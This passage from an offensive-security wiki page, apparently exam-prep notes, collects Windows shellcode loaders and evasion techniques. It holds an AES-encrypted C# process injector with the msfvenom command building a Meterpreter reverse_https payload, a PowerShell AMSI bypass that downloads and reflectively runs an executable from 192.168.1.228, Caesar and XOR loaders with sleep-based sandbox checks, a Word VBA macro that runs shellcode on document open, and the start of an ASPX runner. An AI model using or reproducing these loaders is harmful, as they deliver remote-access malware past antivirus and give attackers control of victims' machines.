        static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);&lt;br /&gt;
        private delegate Int32 ShellcodeDelegate();&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Shellcode();&lt;br /&gt;
        }&lt;br /&gt;
        static void Shellcode()&lt;br /&gt;
        {&lt;br /&gt;
            // attempt heuristics/behaviour bypass&lt;br /&gt;
            IntPtr mem = VirtualAllocExNuma(System.Diagnostics.Process.GetCurrentProcess().Handle, IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);&lt;br /&gt;
            if (mem == null)&lt;br /&gt;
            {&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // decrypt the base64 payload - change these to your own encrypted payload and key&lt;br /&gt;
            string payload = &amp;quot;sZkMiiTitR5hQL2YXTBgjq91qq0FuEqgfR7YiKt2N1IZ8vqW3q/BrIYTjBb7nKLXCsJM25sRqh+R9WHGNsTV8webqwx7ZfAYSvlmEmzIJcKaBVdJO+Lbr7h9RomrOdyaPUAZ6P49lnsZFF1fdvnFOg/WvSdKUrx/eKEt5sNBn/Jz43y26mDEwEEqseydPQHyBcT9Av/ZkTQC6GZU8D+pQhKvXNdnlGrHJk4+G25me/Hzr0P1YuX9ZpGbyXb/pLdmdViAGAPtA/OORVt6xmij4AY24j8SLocUs2A6lSJZHYD2C1+DIc1Lyw8UJ6dtNIU2xDtsHCWX0OlkcjU+QoYpCavs78Y+OePjyBwkryWTzMyuKBgAREjbQQdsIn6dQZeqk/tKI/l6Fmhu27V+wFX7mxUP/KXWf9PI/3QYiuLmkJCWFBL9sINPbLVLePFSke8Ik3t+vp5SIcM+wMufg+TXBdUNpE//gTgCpblXdJfkkqVpMFBxnfX2vYPDcFLWteiNsnHCn9REbVB3MqJe5T55tO/CLq1KkZ2R7Z7rra6H8OhJgOLKEdJ/XHdZV9IFatAtRW2dxVo49P2YFmux2WSDiKhVRoCuLMVM6PeTuzsN+2qV4Zrq6tRAVLwmmTn5uflWER1aScePh6+6utXW/0jS+Hz7KiGP2//8+YDwzYbkLJnfn9B4AdmE4BuNTJRrv7tumsxboNkmWOx87lVElzn5ZM9OP721s8LiSyfkD1zm4o9j2u80syPeEU3PXvOU1epBTsTjdwRWlAYF+wzv3olAjPzR/xojjB602MIUNeCPn4fqDp6NjEokELcgawbWNl1vKYo4QEYgtlhVmqIkk2ooz527AEQb5EWQhkaZEWr4AAmGO1YfvYDCTcfUwV9p/jkg&amp;quot;;&lt;br /&gt;
            string key = &amp;quot;fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec&amp;quot;;&lt;br /&gt;
            byte[] buf = Decrypt(key, payload);&lt;br /&gt;
            unsafe&lt;br /&gt;
            {&lt;br /&gt;
                fixed(byte* ptr = buf)&lt;br /&gt;
                {&lt;br /&gt;
                    // set the memory as executable and execute the function pointer (as a delegate)&lt;br /&gt;
                    IntPtr memoryAddress = (IntPtr)ptr;&lt;br /&gt;
                    VirtualProtect(memoryAddress, (UIntPtr)buf.Length, (UInt32)Protection.PAGE_EXECUTE_READWRITE, out uint lpfOldProtect);&lt;br /&gt;
                    ShellcodeDelegate func = (ShellcodeDelegate)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(ShellcodeDelegate));&lt;br /&gt;
                    func();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        private static byte[] Decrypt(string key, string aes_base64)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] tempKey = Encoding.ASCII.GetBytes(key);&lt;br /&gt;
            tempKey = SHA256.Create().ComputeHash(tempKey);&lt;br /&gt;
            byte[] data = Convert.FromBase64String(aes_base64);&lt;br /&gt;
            // decrypt data&lt;br /&gt;
            Aes aes = new AesManaged();&lt;br /&gt;
            aes.Mode = CipherMode.CBC;&lt;br /&gt;
            aes.Padding = PaddingMode.PKCS7;&lt;br /&gt;
            ICryptoTransform dec = aes.CreateDecryptor(tempKey, SubArray(tempKey, 16));&lt;br /&gt;
            using (MemoryStream msDecrypt = new MemoryStream())&lt;br /&gt;
            {&lt;br /&gt;
                using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, dec, CryptoStreamMode.Write))&lt;br /&gt;
                {&lt;br /&gt;
                    csDecrypt.Write(data, 0, data.Length);&lt;br /&gt;
                    return msDecrypt.ToArray();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static byte[] SubArray(byte[] a, int length)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] b = new byte[length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                b[i] = a[i];&lt;br /&gt;
            }&lt;br /&gt;
            return b;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Instruction:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Use the &amp;lt;code&amp;gt;meterpreter_encryptor.py&amp;lt;/code&amp;gt; to create the encrypted base64 shellcode:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@kali:~# ./meterpreter_encryptor.py -p windows/x64/meterpreter/reverse_https -i 192.168.1.228 -l 443 -f b64&lt;br /&gt;
[+] Generating MSFVENOM payload...&lt;br /&gt;
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload&lt;br /&gt;
[-] No arch selected, selecting arch: x64 from the payload&lt;br /&gt;
Found 1 compatible encoders&lt;br /&gt;
Attempting to encode payload with 1 iterations of x64/xor_dynamic&lt;br /&gt;
x64/xor_dynamic succeeded with size 667 (iteration=0)&lt;br /&gt;
x64/xor_dynamic chosen with final size 667&lt;br /&gt;
Payload size: 667 bytes&lt;br /&gt;
Saved as: ./msf.bin&lt;br /&gt;
[+] Encrypting the payload, key=fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec...&lt;br /&gt;
[+] Base64 output:&lt;br /&gt;
sZkMiiTitR5hQL2YXTBgjq91qq0FuEqgfR7YiKt2N1IZ8vqW3q/BrIYTjBb7nKLXCsJM25sRqh+R9WHGNsTV8webqwx7ZfAYSvlmEmzIJcKaBVdJO+Lbr7h9RomrOdyaPUAZ6P49lnsZFF1fdvnFOg/WvSdKUrx/eKEt5sNBn/Jz43y26mDEwEEqseydPQHyBcT9Av/ZkTQC6GZU8D+pQhKvXNdnlGrHJk4+G25me/Hzr0P1YuX9ZpGbyXb/pLdmdViAGAPtA/OORVt6xmij4AY24j8SLocUs2A6lSJZHYD2C1+DIc1Lyw8UJ6dtNIU2xDtsHCWX0OlkcjU+QoYpCavs78Y+OePjyBwkryWTzMyuKBgAREjbQQdsIn6dQZeqk/tKI/l6Fmhu27V+wFX7mxUP/KXWf9PI/3QYiuLmkJCWFBL9sINPbLVLePFSke8Ik3t+vp5SIcM+wMufg+TXBdUNpE//gTgCpblXdJfkkqVpMFBxnfX2vYPDcFLWteiNsnHCn9REbVB3MqJe5T55tO/CLq1KkZ2R7Z7rra6H8OhJgOLKEdJ/XHdZV9IFatAtRW2dxVo49P2YFmux2WSDiKhVRoCuLMVM6PeTuzsN+2qV4Zrq6tRAVLwmmTn5uflWER1aScePh6+6utXW/0jS+Hz7KiGP2//8+YDwzYbkLJnfn9B4AdmE4BuNTJRrv7tumsxboNkmWOx87lVElzn5ZM9OP721s8LiSyfkD1zm4o9j2u80syPeEU3PXvOU1epBTsTjdwRWlAYF+wzv3olAjPzR/xojjB602MIUNeCPn4fqDp6NjEokELcgawbWNl1vKYo4QEYgtlhVmqIkk2ooz527AEQb5EWQhkaZEWr4AAmGO1YfvYDCTcfUwV9p/jkg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Take the key and shellcode and insert it into [https://github.com/plackyhacker/ShellcodeEncryptor/blob/master/ProcessInjection.cs ProcessInjector.cs]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
// decrypt the base64 payload&lt;br /&gt;
string payload = &amp;quot;sZkMii [etc...]&amp;quot;;&lt;br /&gt;
string key = &amp;quot;fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec&amp;quot;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Compile the C# code into an executable (e.g., &amp;lt;code&amp;gt;metInject.exe&amp;lt;/code&amp;gt;) and serve it via a web server.&lt;br /&gt;
&lt;br /&gt;
Inject the executable into a remote PowerShell process:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# AMSI bypass&lt;br /&gt;
$a = [Ref].Assembly.GetTypes();ForEach($b in $a) {if ($b.Name -like &amp;quot;*iutils&amp;quot;) {$c = $b}};$d = $c.GetFields(&#039;NonPublic,Static&#039;);ForEach($e in $d) {if ($e.Name -like &amp;quot;*itFailed&amp;quot;) {$f = $e}};$f.SetValue($null,$true)&lt;br /&gt;
$bytes = (Invoke-WebRequest &amp;quot;http://192.168.1.228/metInject.exe&amp;quot;).Content;&lt;br /&gt;
$assembly = [System.Reflection.Assembly]::Load($bytes);&lt;br /&gt;
$entryPointMethod = $assembly.GetType(&#039;ProcessInjection.Program&#039;, [Reflection.BindingFlags] &#039;Public, NonPublic&#039;).GetMethod(&#039;Main&#039;, [Reflection.BindingFlags] &#039;Static, Public, NonPublic&#039;);&lt;br /&gt;
$entryPointMethod.Invoke($null, (, [string[]] (&#039;&#039;, &#039;&#039;)));&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AES - Csharp ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.IO;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Security.Cryptography;&lt;br /&gt;
&lt;br /&gt;
/*-----------------------------------------------&lt;br /&gt;
 * Simple-Loader.exe: Simple Shellcode Loader   |&lt;br /&gt;
 *                                              |&lt;br /&gt;
 * Author: @jfaust0                             |&lt;br /&gt;
 * Contact: joshua.faust@sevrosecurity.com      |&lt;br /&gt;
 * Website: SevroSecurity.com                   |&lt;br /&gt;
 * ---------------------------------------------*/&lt;br /&gt;
&lt;br /&gt;
namespace goodTimes&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // CHANGE THESE VALUES --&amp;gt; Seriosuly, these should not be hard coded!&lt;br /&gt;
        public static byte[] key = new byte[] { 0x33, 0xED, 0x8A, 0x15, 0xD9, 0x26, 0xC5, 0x1C, 0x95, 0xF1, 0x4C, 0x11, 0xE4, 0x37, 0xD4, 0x5B, 0xE8, 0xDD, 0x8E, 0xED, 0xDC, 0x01, 0x38, 0xC7 };&lt;br /&gt;
        public static byte[] iv = new byte[] { 0x2B, 0x6F, 0xD1, 0xE3, 0x59, 0x6F, 0xC3, 0x31, 0x62, 0xC9, 0x98, 0x55, 0x7B, 0x00, 0xCB, 0xD1 };&lt;br /&gt;
        // MAIN&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String app_name = AppDomain.CurrentDomain.FriendlyName;&lt;br /&gt;
            String usage = $&amp;quot;Usage: {app_name} &amp;quot;;&lt;br /&gt;
            // ENCRYPT PAYLOAD&lt;br /&gt;
            if (args.Length == 1)&lt;br /&gt;
            {&lt;br /&gt;
                if (!File.Exists($@&amp;quot;{args[0]}&amp;quot;))&lt;br /&gt;
                {&lt;br /&gt;
                    Console.WriteLine(&amp;quot;[!] File Does Not Exist!&amp;quot;);&lt;br /&gt;
                    Environment.Exit(1);&lt;br /&gt;
                }&lt;br /&gt;
                Console.WriteLine(&amp;quot;[i] Encrypting Data&amp;quot;);&lt;br /&gt;
                // Read in MetaSploit Byte[] Code from File&lt;br /&gt;
                String fileData = System.IO.File.ReadAllText($@&amp;quot;{args[0]}&amp;quot;);&lt;br /&gt;
                String tmp = (fileData.Split(&#039;{&#039;)[1]).Split(&#039;}&#039;)[0];&lt;br /&gt;
                // Translate to Byte Array&lt;br /&gt;
                string[] s = tmp.Split(&#039;,&#039;);&lt;br /&gt;
                byte[] data = new byte[s.Length];&lt;br /&gt;
                for (int i = 0; i  1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(usage);&lt;br /&gt;
                Environment.Exit(1);&lt;br /&gt;
            }&lt;br /&gt;
            // RUN PAYLOAD&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                // msfvenom -p windows/exe cmd=calc.exe -f csharp --&amp;gt; CHANGE ME!&lt;br /&gt;
                String hiphop = &amp;quot;ZxOy1BksVfrlq8wcmyHY8GwwiBZd8NGrGQiKvx15hcv9sQ9apoO6NGbNBxAeS4NLHSz4owcdPgQTTejYJr80Ke4ynoy41yrc5RD0uqt1ppyxDAeYGATQy7xFbN247gwFee5cPZAFyBzbI6DvOLBFSJiP64kv5T7pX3iapVsX7ORmg7Ubfa1M9PcYNm5qzS9dyHxFdeD578YA6DGYC0UPzmeDXB11R0MWmPAkRGFftQp + YdurMHce1R4HC9bQ0gtm / MLHIP / UTPbIUtwrEAqQ / SYJcJCmeCPynYLNYrn9ae1xvCBokUTgdK + gpUa58ss2F4F60p1ujZNHmQ1Bn39WZmK5R4wSVmdFJpKRZXeGycAziEVlGjsS7XDKsvQvWvaZKqealuTWxH9q6n++zrRJZ0TBorjcFHKJZOLK5bNgKx0DbmFHXz + KBH400o&amp;quot;;&lt;br /&gt;
                byte[] de_data = Decrypt(Convert.FromBase64String(hiphop), key, iv);&lt;br /&gt;
                nonsense(de_data);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        // Shell Code Loader&lt;br /&gt;
        public static bool nonsense(byte[] shellcode)&lt;br /&gt;
        {&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,&lt;br /&gt;
                    MEM_COMMIT, PAGE_EXECUTE_READWRITE);&lt;br /&gt;
                Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);&lt;br /&gt;
                IntPtr hThread = IntPtr.Zero;&lt;br /&gt;
                UInt32 threadId = 0;&lt;br /&gt;
                IntPtr pinfo = IntPtr.Zero;&lt;br /&gt;
                hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);&lt;br /&gt;
                WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
                return true;&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.Error.WriteLine(&amp;quot;exception: &amp;quot; + e.Message);&lt;br /&gt;
                return false;&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        // Used to Load Shellcode into Memory:&lt;br /&gt;
        private static UInt32 MEM_COMMIT = 0x1000;&lt;br /&gt;
        private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
        private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,&lt;br /&gt;
             UInt32 size, UInt32 flAllocationType, UInt32 flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
        private static extern IntPtr CreateThread(&lt;br /&gt;
          UInt32 lpThreadAttributes,&lt;br /&gt;
          UInt32 dwStackSize,&lt;br /&gt;
          UInt32 lpStartAddress,&lt;br /&gt;
          IntPtr param,&lt;br /&gt;
          UInt32 dwCreationFlags,&lt;br /&gt;
          ref UInt32 lpThreadId&lt;br /&gt;
          );&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
        private static extern UInt32 WaitForSingleObject(&lt;br /&gt;
          IntPtr hHandle,&lt;br /&gt;
          UInt32 dwMilliseconds&lt;br /&gt;
        );&lt;br /&gt;
&lt;br /&gt;
        public static byte[] Encrypt(byte[] data, byte[] key, byte[] iv)&lt;br /&gt;
        {&lt;br /&gt;
            using (var aes = Aes.Create())&lt;br /&gt;
            {&lt;br /&gt;
                aes.KeySize = 256;&lt;br /&gt;
                aes.BlockSize = 128;&lt;br /&gt;
                aes.Padding = PaddingMode.Zeros;&lt;br /&gt;
                aes.Key = key;&lt;br /&gt;
                aes.IV = iv;&lt;br /&gt;
                using (var encryptor = aes.CreateEncryptor(aes.Key, aes.IV))&lt;br /&gt;
                {&lt;br /&gt;
                    return PerformCryptography(data, encryptor);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        public static byte[] Decrypt(byte[] data, byte[] key, byte[] iv)&lt;br /&gt;
        {&lt;br /&gt;
            using (var aes = Aes.Create())&lt;br /&gt;
            {&lt;br /&gt;
                aes.KeySize = 256;&lt;br /&gt;
                aes.BlockSize = 128;&lt;br /&gt;
                aes.Padding = PaddingMode.Zeros;&lt;br /&gt;
                aes.Key = key;&lt;br /&gt;
                aes.IV = iv;&lt;br /&gt;
                using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV))&lt;br /&gt;
                {&lt;br /&gt;
                    return PerformCryptography(data, decryptor);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        private static byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform)&lt;br /&gt;
        {&lt;br /&gt;
            using (var ms = new MemoryStream())&lt;br /&gt;
            using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))&lt;br /&gt;
            {&lt;br /&gt;
                cryptoStream.Write(data, 0, data.Length);&lt;br /&gt;
                cryptoStream.FlushFinalBlock();&lt;br /&gt;
                return ms.ToArray();&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Ceasar ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Csharp shellcode&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading;&lt;br /&gt;
namespace ConsoleApp1&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,&lt;br /&gt;
            uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes,&lt;br /&gt;
            uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter,&lt;br /&gt;
            uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern UInt32 WaitForSingleObject(IntPtr hHandle,&lt;br /&gt;
            UInt32 dwMilliseconds);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] buf = new byte[510] {0xfe, 0x4a,.....&lt;br /&gt;
};&lt;br /&gt;
            for(int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                buf[i] = (byte)(((uint)buf[i] - 2) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            int size = buf.Length;&lt;br /&gt;
            IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(buf, 0, addr, size);&lt;br /&gt;
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr,&lt;br /&gt;
                IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
            WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA shellcode &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Change the XOR vba runner with this&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
For i = 0 To UBound(buf)&lt;br /&gt;
buf(i) = buf(i) - 2&lt;br /&gt;
Next i&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== XOR ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;CSharp&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System;&lt;br /&gt;
namespace rev&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public const uint EXECUTEREADWRITE  = 0x40;&lt;br /&gt;
        public const uint COMMIT_RESERVE = 0x3000;&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern void Sleep(uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;Kernel32.dll&amp;quot;, CharSet = CharSet.Auto, SetLastError = true)]&lt;br /&gt;
        private unsafe static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, uint lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        public static extern Int32 WaitForSingleObject(IntPtr Handle, Int32 Wait);&lt;br /&gt;
        public static void Main()&lt;br /&gt;
        {&lt;br /&gt;
            DateTime t1 = DateTime.Now;&lt;br /&gt;
            Sleep(10000);&lt;br /&gt;
            double deltaT = DateTime.Now.Subtract(t1).TotalSeconds;&lt;br /&gt;
            if (deltaT &amp;lt; 9.5)&lt;br /&gt;
            {&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
            // XORed with key 0xfa&lt;br /&gt;
            byte[] buf = new byte[511] {&lt;br /&gt;
            0x06, 0xb2, 0x79, 0x1e, 0x0a, 0x12, 0x36, 0xfa, 0xfa, 0xfa, 0xbb, 0xab, 0xbb, 0xaa&lt;br /&gt;
            };&lt;br /&gt;
            int payloadSize = buf.Length;&lt;br /&gt;
            IntPtr payAddr = VirtualAlloc(IntPtr.Zero, payloadSize, COMMIT_RESERVE, EXECUTEREADWRITE);&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            }&lt;br /&gt;
            Marshal.Copy(buf, 0, payAddr, payloadSize);&lt;br /&gt;
            IntPtr payThreadId = CreateThread(IntPtr.Zero, 0, payAddr, IntPtr.Zero, 0, 0);&lt;br /&gt;
            int waitResult = WaitForSingleObject(payThreadId, -1);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Private Declare PtrSafe Function Sleep Lib &amp;quot;kernel32&amp;quot; (ByVal mili As Long) As Long&lt;br /&gt;
Private Declare PtrSafe Function CreateThread Lib &amp;quot;kernel32&amp;quot; (ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadId As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function VirtualAlloc Lib &amp;quot;kernel32&amp;quot; (ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function RtlMoveMemory Lib &amp;quot;kernel32&amp;quot; (ByVal destAddr As LongPtr, ByRef sourceAddr As Any, ByVal length As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function FlsAlloc Lib &amp;quot;KERNEL32&amp;quot; (ByVal callback As LongPtr) As LongPtr&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
    Dim allocRes As LongPtr&lt;br /&gt;
    Dim t1 As Date&lt;br /&gt;
    Dim t2 As Date&lt;br /&gt;
    Dim time As Long&lt;br /&gt;
    Dim buf As Variant&lt;br /&gt;
    Dim addr As LongPtr&lt;br /&gt;
    Dim counter As Long&lt;br /&gt;
    Dim data As Long&lt;br /&gt;
    Dim res As LongPtr&lt;br /&gt;
    &#039; Call FlsAlloc and verify if the result exists&lt;br /&gt;
    allocRes = FlsAlloc(0)&lt;br /&gt;
    If IsNull(allocRes) Then&lt;br /&gt;
        End&lt;br /&gt;
    End If&lt;br /&gt;
    &#039; Sleep for 10 seconds and verify time passed&lt;br /&gt;
    t1 = Now()&lt;br /&gt;
    Sleep (10000)&lt;br /&gt;
    t2 = Now()&lt;br /&gt;
    time = DateDiff(&amp;quot;s&amp;quot;, t1, t2)&lt;br /&gt;
    If time &amp;lt; 10 Then&lt;br /&gt;
        Exit Sub&lt;br /&gt;
    End If&lt;br /&gt;
    &#039; Shellcode encoded with XOR with key 0xfa/250 (output from C# helper tool)&lt;br /&gt;
    buf = Array(6, 178, 121, 30, 10, 18, 54, 250, 250, 250, 187, 171, 187, 170, 168, , 113, 136, 170, 183, 203, 51, 178, 203, 58, 86, 198, 155, ...)&lt;br /&gt;
    &#039; Allocate memory space&lt;br /&gt;
    addr = VirtualAlloc(0, UBound(buf), &amp;amp;H3000, &amp;amp;H40)&lt;br /&gt;
    &#039; Decode the shellcode&lt;br /&gt;
    For i = 0 To UBound(buf)&lt;br /&gt;
        buf(i) = buf(i) Xor 250&lt;br /&gt;
    Next i&lt;br /&gt;
    &#039; Move the shellcode&lt;br /&gt;
    For counter = LBound(buf) To UBound(buf)&lt;br /&gt;
        data = buf(counter)&lt;br /&gt;
        res = RtlMoveMemory(addr + counter, data, 1)&lt;br /&gt;
    Next counter&lt;br /&gt;
    &#039; Execute the shellcode&lt;br /&gt;
    res = CreateThread(0, 0, addr, 0, 0, 0)&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
    MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
    MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Simple Shellcode Runners ==&lt;br /&gt;
&lt;br /&gt;
=== ASPX ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/In3x0rabl3/OSEP/blob/main/Payloads/C%23/Webshell_Runner/rev.aspx OSEP/Payloads/C#/Webshell_Runner/rev.aspx at main · In3x0rabl3/OSEP (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
    private static Int32 MEM_COMMIT=0x1000;&lt;br /&gt;
    private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
    private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
    private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true,ExactSpelling = true)]&lt;br /&gt;
